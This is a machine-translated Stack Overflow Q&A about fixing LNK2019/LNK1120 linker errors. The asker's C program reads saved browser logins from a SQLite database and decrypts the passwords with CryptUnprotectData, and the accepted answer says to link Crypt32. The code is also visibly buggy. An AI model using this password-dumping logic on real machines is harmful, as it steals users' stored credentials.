首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >LNK1120 & LNK2019误差

LNK1120 & LNK2019误差
EN

Stack Overflow用户
提问于 2014-04-05 19:48:36
回答 1查看 1.4K关注 0票数 2

当我调试致命错误时,我正在尝试学习SQLite3 API。知道我将链接器配置为将其编译为控制台。

错误1错误LNK2019:函数_main ....\"filename".obj中引用的未解析外部符号_CryptUnprotectData@28 错误2错误LNK1120: 1未解决的外部调试\“文件名”.exe

以下是代码:

代码语言:javascript
复制
#include <stdio.h>
#include <conio.h>
#include "sqlite3.h"
#include <stdlib.h>
#include <Windows.h>


int  main()
    {


    sqlite3_initialize();
    sqlite3 *sqlHandle;
    int call;
    char *tail = NULL;
    sqlite3_stmt *stmt = NULL;
    const FILE *fileHandle = "C:\\Users\\"username"\\Desktop\\Data.sqlite";
    call = sqlite3_open_v2(fileHandle, &sqlHandle, SQLITE_OPEN_READONLY,NULL);
    if (call != SQLITE_OK)
        {
        sqlite3_close(sqlHandle);
        exit(EXIT_SUCCESS);
        }
    //preparing statement to be executed
    if (sqlite3_prepare_v2(sqlHandle, "SELECT action_url,username_value,password_value FROM logins", sizeof(char)*60, &stmt, &tail) != SQLITE_OK)
        {
        sqlite3_close(sqlHandle);
        printf("Can't retrieve data: %s\n", sqlite3_errmsg(sqlHandle));
        }


    CRYPT_INTEGER_BLOB *blob;
    CRYPT_INTEGER_BLOB *UnprotectedBlob = NULL;
    while (sqlite3_step(stmt) == SQLITE_ROW)
        {
        blob = sqlite3_column_text(stmt, 2);
        if (CryptUnprotectData(blob, NULL, NULL, NULL, NULL, 0, UnprotectedBlob))
            {
            printf("%s | %s | %s \n",
                sqlite3_column_text(stmt, 0),
                sqlite3_column_text(stmt, 1),
                UnprotectedBlob->cbData);
            }
        }

    sqlite3_finalize(stmt);
    sqlite3_close(sqlHandle);
    sqlite3_shutdown();
    _getch();
    return 1;
    }
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2014-04-05 19:56:14

您需要链接到CryptoAPI库。您可以通过链接器的项目属性(Configuration Properties > Linker > Input > Additional dependencies)或使用#pragma指令的代码来实现这一点。

代码语言:javascript
复制
#pragma comment(lib, "Crypt32")
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/22885950

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档